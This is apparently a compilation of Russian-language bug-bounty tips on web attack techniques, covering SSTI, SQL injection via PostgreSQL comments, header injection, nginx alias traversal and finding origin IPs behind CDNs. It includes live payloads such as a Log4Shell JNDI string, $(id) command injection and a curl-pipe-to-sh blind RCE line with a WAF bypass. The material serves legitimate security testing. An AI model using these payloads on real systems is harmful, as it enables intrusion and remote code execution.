💡 4 простых способа обхода ошибки 403 (Forbidden) и получения доступа к админке

Это далеко не все возможные методы обхода ограничений, но даже такие простые и зачастую недооцененные техники могут быть весьма эффективными.

💬 Какие способы вам удавалось применять на практике? Делитесь в комментариях 👇

🔥 Реверс JavaScript еще никогда не был таким простым

В DevTools есть функция debug(), которая ставит breakpoint каждый раз, когда вызывается переданный в нее аргумент.

Это работает даже для встроенных методов — больше не нужно оборачивать их в прокси.

debug(DOMParser.prototype.parseFromString)

💨 Повышаем импакт SSTI до RCE

Когда веб-приложение обрабатывает пользовательский ввод как часть шаблона, можно использовать встроенные функции шаблонизатора для отображения пользовательских данных, доступа к секретам, чтения локальных файлов и даже удаленного выполнения кода.

Но перед этим важно идентифицировать потенциальную уязвимость SSTI. Один из способов — преднамеренно вызвать ошибку с использованием различных спецсимволов:

{
}
$
#
@
%)
"
'
|
{{
}}
${
<%
<%= 
%>

Как только мы подтвердим точку инъекции, переходим к следующему этапу — отправке различных пэйлоадов для инъекций в шаблон и наблюдению за тем, какие из них были обработаны.

Этот этап критичен, так как он поможет определить используемый движок шаблонов и создать эффективный пэйлоад для эксплуатации.

Все движки шаблонов используют различный синтаксис, но некоторые элементы могут быть схожи. Несколько часто используемых движков шаблонов рассмотрено в недавнем гайде от Intigriti:

▪️Python: Jinja2, Mako
▪️PHP: Twig, Smarty
▪️JavaScript: EJS, Handlebars, Pug
▪️Java: Thymeleaf, FreeMarker, Pebble
▪️C#: Razor
▪️Ruby: ERB, HAML, Slim

🧐 Эксплуатация SQL-инъекций при использовании prepared statements

Даже если приложение безопасно обрабатывает SQL-запросы и предпринимаются меры для защиты от SQL-инъекций, использование уязвимой сторонней библиотеки всё равно может свести защиту на нет.

Чаще всего всё ломается на строковых параметрах — если они плохо экранируются, можно сломать синтаксис запроса. Но что если сломать запрос можно не только строками? Например — комментариями.

MySQL требует пробел после --, чтобы строка была интерпретирована как комментарий. А вот PostgreSQL — нет. И тут всё зависит от режима работы:

#️⃣Простой (simple query) — SQL-строка уходит целиком, а параметры клиент подставляет сам.

#️⃣Расширенный (extended query) — SQL и параметры передаются отдельно, что исключает любые синтаксические фокусы.

Но многие клиенты PostgreSQL по умолчанию работают в простом режиме. А иногда расширенный вообще отключён — как, например, в старом PgBouncer или в некоторых конфигах Datadog.

В простом режиме все зависит от того, как библиотека вставит параметры. Например, PgJDBC при запросе SELECT 1-? и значении параметра -1 сгенерирует:

SELECT 1--1

PostgreSQL воспримет -- как комментарий и просто проигнорирует 1. Такая же история — в pg-promise, pgx, pg, pgdriver.

Но можно зайти ещё дальше. Если параметр — многострочная строка, можно внедрить свой код. Комментарий завершится на символе перевода строки, и остальная часть кода будет исполнена. Это даёт возможность внедрить произвольный SQL-код, если вы контролируете параметры.

🔗 Пруфы — в исследовании команды Sonar

🤔 Нашли слишком простую багу? Подумайте шире. Reflected XSS + слабая логика = полный захват аккаунта.

🖼️ Делегирование событий в JavaScript

Одна из интересных техник, на которую стоит обратить внимание при поиске багов в JS-коде — это делегирование событий. Вместо того чтобы вешать обработчик на каждый элемент, его вешают на document и обрабатывают клики через event.target.

🚨 Ключевой момент: такие обработчики работают даже для новых элементов, добавленных позже, например, через HTML-инъекцию.

Если вы можете внедрить элемент:

<a class="btn" href="https://evil.com">Click me</a>

и приложение уже слушает .btn на document — ваш элемент тоже будет обработан, как «родной».

💥 Это может привести к:

▪️Переходу по ссылке.
▪️Отправке запроса.
▪️Запуску JS-функции.

🔍 Ищите такие обработчики, проверяйте селекторы и пробуйте инжектить элементы, которые их триггерят.

💨 X-Correlation Injection: когда X-Request-ID становится оружием

HTTP-заголовки вроде X-Request-ID, X-Correlation-ID или x-trace-id нужны для трассировки запросов, но часто попадают в CI/CD, логи, мониторинг и даже в shell-команды. А значит — расширяют поверхность атаки.

🔍 Как искать

▪️Ищите заголовки с id в ответе (x-transaction-id, x-corellation-id, access-control-*).

▪️Проверяйте, отражается ли значение вашего заголовка в ответе — это может быть индикатором уязвимости.

▪️Фаззинг: вставляйте случайные ASCII-символы и смотрите на ошибки/аномалии (500, странное поведение).

x-request-id: ' " % & > [ $

💥 Примеры атак

🧵 Header Injection
x-request-id: 1%0d%0ax-account:456 → внедрение нового заголовка

☕️ Java header split
x-request-id: 1%c4%8d%c4%8anew-header: f00 → \u010d может стать \n → новый заголовок

💻 Command Injection
x-request-id: $(id) → прямое выполнение в shell-контексте

🧨 Log4Shell
x-request-id: ${jndi:rmi://x${sys:java.version}.attacker/a} — да, оно до сих пор встречается 😳

🧬 JSON Injection
x-request-id: 1"}. "payload":{"account":"456","foo":" → если заголовок попал в JSON — можно ломать структуру

🕵️‍♂️ Оптимизация OOB/Blind RCE

При выборе пэйлода для OOB/Blind-атаки важно учитывать, что он может попасть в разные контексты. Поэтому — минимум спецсимволов, чтобы не сломать формат. Что важно учитывать:

▪️Сбор данных после триггера.

▪️Байпас WAF: ${IFS} для пробелов в shell могут блочить, но $IFS — нет.

▪️Избегайте пробелов вообще — они могут "сломать" пэйлоад в разных контекстах.

▪️Используйте уникальный пэйлоад, чтобы отслеживать факты сработки (своего рода request-id).

▪️Если пэйлоад сработал и, например, вызвал команду curl на целевом сервере — это значит, что curl’у можно отдать bash-скрипт со своего сервера.

▪️Оповещение о событиях через Discord/Slack/Telegram.

Пример из практики:

'`curl$IFS@mydomain|sh`'$(curl$IFS@mydomain|sh)

😎 Поиск SSTI в лайт режиме

Tplmap + GAU = SSTI на автопилоте. Просто дай ссылку — он сам найдёт, где шаблон не закрыли.

🤌 Что делаем:

➡️gau example.com — собираем эндпоинты
➡️tplmap.py -u {url} — проверяем на SSTI

На примере tplmap нашёл уязвимость в _transaction_id, определил движок Jinja2 и успешно заинжектился через {{*}}. Контекст — текст, техника — render, ОС — Linux. Всё по красоте.

Инструмент умеет находить и эксплуатировать SSTI в популярных шаблонизаторах — вплоть до доступа к файловой системе и выполнению команд на сервере.

⚠️ Проект уже не поддерживается, но логика и подход по-прежнему актуальны. Отличная отправная точка, если хочешь собрать свой инструмент для автоматизации SSTI.

🏹 Распространенные ошибки в reverse-прокси: алиас со слэшом в конце

Reverse-прокси — серверы поверх веб-приложений, которые маршрутизируют трафик, управляют заголовками и т. д.

Файл /etc/nginx/nginx.conf содержит глобальные настройки и строку для подключения всех конфигов из /etc/nginx/conf.d/.

http {
    ...
    include /etc/nginx/conf.d/*.conf;
}

Эти файлы находятся в контексте http {}, поэтому их не нужно открывать заново. Часто здесь добавляют дополнительные опции для контекста http, а также определения server {} для каждого приложения.

Одна из распространенных ошибок, которая может привести к уязвимости, — алиас со слешом в конце. Это происходит, когда выполняются два условия:

✅В location отсутствует слэш в конце
✅Директива alias или proxy_pass содержит слэш в конце

☝️ Пример выше показывает эту багу дважды. Проблема в том, что location /static будет соответствовать любому пути, начинающемуся с /static, включая /staticANYTHING или /static../anything.

После этого Nginx удаляет этот префикс и продолжает с оставшимся путем. Теперь это может быть ../anything, и при добавлении к static/ или v1/ может привести к переходу на один уровень выше:

GET /static../index.php HTTP/1.1

В итоге получаем путь /app/static/../index.php, который может раскрыть чувствительные исходники в /app/index.php.

💡 Та же идея с proxy_pass — его можно использовать для доступа к непредназначенной директории на бэкенде, используемой для отладки, других версий или даже другого приложения.

🔓 Один из самых простых кейсов при поиске багов в API… который многие почему-то игнорируют

Если ты видишь в ответе от сервера значение с именем id — не проходи мимо. Попробуй найти, где ещё этот id используется в других запросах.

💡 Такие эндпоинты часто уязвимы к проблемам контроля доступа:

▪️ IDOR (Insecure Direct Object Reference),
▪️ BOLA (Broken Object Level Authorization),
▪️ или Function Level Access Control.

⁉️ Если не знаешь, с чего начать анализ API — начни с этого. Во многих системах проверяют сам факт наличия id, но не проверяют, чей он и можно ли тебе его вообще видеть.

🚀 Lightyear: в слепую, но с прицелом

PHP filter chains — крутые векторы атак, которые позволяют реализовывать разные типы эксплойтов: маскировку файлов, манипуляции с содержимым, побайтовую выгрузку файлов через memory exhaustion и многое другое.

Помните старую добрую тулзу php_filter_chains_oracle_exploit? Да, ту самую, что помогала выцеживать PHP-файлы по байтам через blind file read + memory exhaustion.

Так вот. Пора её отпустить. Есть Lightyear, и это прям next level в эксплуатации примитивов слепого чтения файлов в PHP.

🤕 Что починили

🟥Payload теперь миниатюрный, в GET влезает без стыда
🟥Байт угадывается не по звёздам, а через бинарный поиск
🟥Нет memory exhaustion → нет подвисаний, нет «простите, сервер устал»
🟥И главное — никаких PHP warning'ов, от которых современные фреймворки начинали истерить

🔥 Результат

Файлы дампятся быстрее, чище и больше по размеру. Вроде бы та же цепочка фильтров, но будто на стероидах.

❓ Где все API-эндпоинты? 6 советов для улучшения разведки API

API-разведка — это искусство, особенно когда работаешь с RESTful или GraphQL API, где интроспекция ограничена или отключена. Без документации можно запутаться, но на помощь приходит разведка.

💡 Вот 6 простых, но проверенных кейсов, которые помогут тебе найти больше API-эндпоинтов:

1️⃣ Используй кастомные словари

Многие API используют уникальные структуры и эндпоинты. Стандартные словари не всегда помогут. Используй специализированные инструменты вроде ffuf для брутфорса, а для более глубокого анализа отправляй рабочие эндпоинты в Burp.

2️⃣ Исследуй мобильные приложения (iOS, Android)

Мобильные приложения часто используют API, которые могут быть недоступны в веб-версии.

3️⃣ Проверяй каждый параметр в ответах API

Параметры в ответах могут скрывать дополнительные данные или эндпоинты. Пробуй манипулировать этими параметрами, чтобы выявить скрытые фичи или эндпоинты.

4️⃣ Попробуй старые версии API

Иногда старые версии API остаются доступными для обратной совместимости. Если API имеет версионность, попробуй обратиться к предыдущим версиям, чтобы найти дополнительные возможности.

5️⃣ Используй не только автоматизацию: внимательно изучай функционал

Не полагайся только на инструменты автоматизации. Часто решение лежит во внимании к деталям: попробуй нажать все кнопки, изучить доступные фичи приложения и элементы интерфейса.

6️⃣ Документация — твой друг

Если документация есть, начни с неё (Swagger, Postman, GraphQL-схему и другие). Внимательно проанализируй все эндпоинты, запросы и параметры. Не ограничивайся только описанным функционалом — проверь все возможные значения параметров и тестируй нестандартные запросы. Часто документация может быть неполной.

🎯 Как найти реальный IP, скрытого за CDN

Content Delivery Network — штука нужная и полезная. Но кроме ускорения загрузки и уменьшения нагрузки, она даёт ещё один жирный плюс — скрывает реальный IP-адрес сервера.

❓ Чтобы что?

▪️ Ускорение загрузки сайта
▪️ Улучшение UX
▪️ Снижение нагрузки на основной сервер
▪️ Повышение надежности и отказоустойчивости
▪️ Защита от DDoS-атак

💡 Зачем багхантеру знать реальный IP?

▪️ Сканирование открытых портов и сервисов
▪️ Тестирование уязвимостей, которые не проходят через прокси
▪️ Обход WAF и так далее

🧠 Боевой чек-лист:

✅ Дергать исторические DNS-записи (SecurityTrails, DNSDumpster)

✅ Копаться в SSL-сертификатах на crt.sh, Censys, Shodan

✅ Искать хосты с идентичными favicon-хэшами

✅ Анализировать заголовки email-писем на наличие исходных IP (самый простой способ отправить себе письмо — форма обратной связи)

✅ Брутить/искать поддомены/vhost’ы, т. к. рядом может быть целевой хост

✅ Глубокий вдох, погрузиться в HTML-комменты и JS-файлы — там бывает всякое… даже захардкоженный IP 🙃

✅ Использовать CF-Hero для автоматизации процесса. Он собирает информацию из множества источников с помощью разных методов, включая описанные выше.


💬 Какие способы еще знаете? Ждем в комментариях 👇